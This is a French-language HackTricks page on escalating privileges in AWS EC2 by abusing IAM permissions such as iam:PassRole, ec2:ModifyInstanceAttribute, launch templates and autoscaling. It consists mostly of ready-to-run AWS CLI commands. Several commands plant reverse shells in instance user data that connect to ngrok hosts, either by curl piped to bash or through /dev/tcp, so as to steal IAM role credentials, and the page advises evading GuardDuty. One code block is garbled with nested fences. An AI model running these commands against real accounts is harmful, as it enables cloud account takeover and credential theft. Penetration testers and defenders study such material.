AWS - EC2 Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)!

Autres façons de soutenir HackTricks :

EC2

Pour plus d'informations sur EC2, consultez :

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Un attaquant pourrait créer une instance en attachant un rôle IAM, puis accéder à l'instance pour voler les informations d'identification du rôle IAM à partir de l'extrémité de métadonnées.

  • Accès via SSH

Exécutez une nouvelle instance en utilisant une clé ssh créée (--key-name) puis connectez-vous en ssh (si vous souhaitez en créer une nouvelle, vous pourriez avoir besoin de l'autorisation ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Accès via un shell inversé dans les données utilisateur

Vous pouvez exécuter une nouvelle instance en utilisant des données utilisateur (--user-data) qui vous enverront un shell inversé. Vous n'avez pas besoin de spécifier un groupe de sécurité de cette manière.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Faites attention à GuradDuty si vous utilisez les informations d'identification du rôle IAM en dehors de l'instance:

pageAWS - GuardDuty Enum

Impact potentiel: Élévation de privilèges directe vers n'importe quel rôle EC2 attaché aux profils d'instance existants.

Élévation de privilèges vers ECS

Avec cet ensemble d'autorisations, vous pourriez également créer une instance EC2 et l'enregistrer à l'intérieur d'un cluster ECS. De cette manière, les services ECS seront exécutés à l'intérieur de l'instance EC2 où vous avez accès, puis vous pourrez pénétrer ces services (conteneurs Docker) et voler les rôles ECS qui y sont attachés.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Pour apprendre comment forcer les services ECS à s'exécuter dans cette nouvelle instance EC2, consultez :

pageAWS - ECS Privesc

Si vous ne pouvez pas créer une nouvelle instance mais avez l'autorisation ecs:RegisterContainerInstance, vous pourriez être en mesure d'enregistrer l'instance à l'intérieur du cluster et effectuer l'attaque commentée.

Impact potentiel : Élévation de privilèges directe vers les rôles ECS attachés aux tâches.

iam:PassRole, iam:AddRoleToInstanceProfile

Similaire au scénario précédent, un attaquant avec ces autorisations pourrait changer le rôle IAM d'une instance compromise pour pouvoir voler de nouvelles informations d'identification. Comme un profil d'instance ne peut avoir qu'un seul rôle, si le profil d'instance a déjà un rôle (cas courant), vous aurez également besoin de iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Si le profil d'instance a un rôle et que l'attaquant ne peut pas le supprimer, il existe une autre solution. Il pourrait trouver un profil d'instance sans rôle ou en créer un nouveau (iam:CreateInstanceProfile), ajouter le rôle à ce profil d'instance (comme discuté précédemment), et associer le profil d'instance compromis à une instance compromise :

  • Si l'instance n'a aucun profil d'instance (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Impact potentiel : Élévation de privilèges directe vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des autorisations supplémentaires ou un statut de profil d'instance spécifique).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Avec ces autorisations, il est possible de changer le profil d'instance associé à une instance. Ainsi, si l'attaque avait déjà accès à une instance, elle pourra voler des informations d'identification pour davantage de rôles de profil d'instance en changeant celui qui lui est associé.

  • S'il possède un profil d'instance, vous pouvez le supprimer (ec2:DisassociateIamInstanceProfile) et l'associer *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • ou remplacer le profil d'instance de l'instance compromis (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```plaintext
Remplacez l'association de profil IAM de l'instance EC2 en utilisant la commande suivante :
```

```plaintext
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<valeur> --association-id <valeur>
```
```

Impact potentiel : Élévation de privilèges directe vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et avoir des autorisations supplémentaires ou un statut de profil d'instance spécifique).

ec2:RequestSpotInstances,iam:PassRole

Un attaquant avec les autorisations ec2:RequestSpotInstances et iam:PassRole peut demander une instance Spot avec un rôle EC2 attaché et un shell inversé dans les données utilisateur. Une fois l'instance lancée, il peut voler le rôle IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Un attaquant avec le ec2:ModifyInstanceAttribute peut modifier les attributs des instances. Parmi eux, il peut changer les données utilisateur, ce qui implique qu'il peut faire fonctionner l'instance avec des données arbitraires. Ce qui peut être utilisé pour obtenir un shell inversé sur l'instance EC2.

Notez que les attributs ne peuvent être modifiés que lorsque l'instance est arrêtée, donc les autorisations ec2:StopInstances et ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Impact potentiel : Élévation de privilèges directe vers n'importe quel rôle IAM EC2 attaché à une instance créée.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Un attaquant avec les autorisations ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateet ec2:ModifyLaunchTemplate peut créer une nouvelle version de Launch Template avec un shell inversé dans les données utilisateur et n'importe quel rôle IAM EC2 dessus, changer la version par défaut, et n'importe quel groupe Autoscaler utilisant ce Launch Template qui est configuré pour utiliser la dernière ou la version par défaut relancera les instances en utilisant ce modèle et exécutera le shell inversé.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Impact potentiel : Élévation de privilèges directe vers un rôle EC2 différent.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Un attaquant avec les autorisations autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole peut créer une configuration de lancement avec un rôle IAM et un shell inversé dans les données utilisateur, puis créer un groupe d'auto-scaling à partir de cette configuration et attendre que le shell inversé vole le rôle IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Impact potentiel : Élévation de privilèges directe vers un rôle EC2 différent.

!autoscaling

L'ensemble des autorisations ec2:CreateLaunchTemplate et autoscaling:CreateAutoScalingGroup ne sont pas suffisantes pour escalader les privilèges vers un rôle IAM car pour attacher le rôle spécifié dans la configuration de lancement ou dans le modèle de lancement vous avez besoin des autorisations iam:PassRole et ec2:RunInstances (ce qui est une élévation de privilèges connue).

ec2-instance-connect:SendSSHPublicKey

Un attaquant avec l'autorisation ec2-instance-connect:SendSSHPublicKey peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il a un accès ssh à l'instance) ou pour escalader les privilèges.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Impact potentiel : Élévation de privilèges directe vers les rôles IAM EC2 attachés aux instances en cours d'exécution.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Un attaquant avec la permission ec2-instance-connect:SendSerialConsoleSSHPublicKey peut ajouter une clé SSH à une connexion série. Si la connexion série n'est pas activée, l'attaquant a besoin de la permission ec2:EnableSerialConsoleAccess pour l'activer.

Pour se connecter au port série, vous devez également connaître le nom d'utilisateur et le mot de passe d'un utilisateur à l'intérieur de la machine.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Cette méthode n'est pas très utile pour l'élévation de privilèges car vous devez connaître un nom d'utilisateur et un mot de passe pour l'exploiter.

Impact potentiel : (Très improbable) Élévation de privilèges directe vers les rôles IAM EC2 attachés aux instances en cours d'exécution.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Dernière mise à jour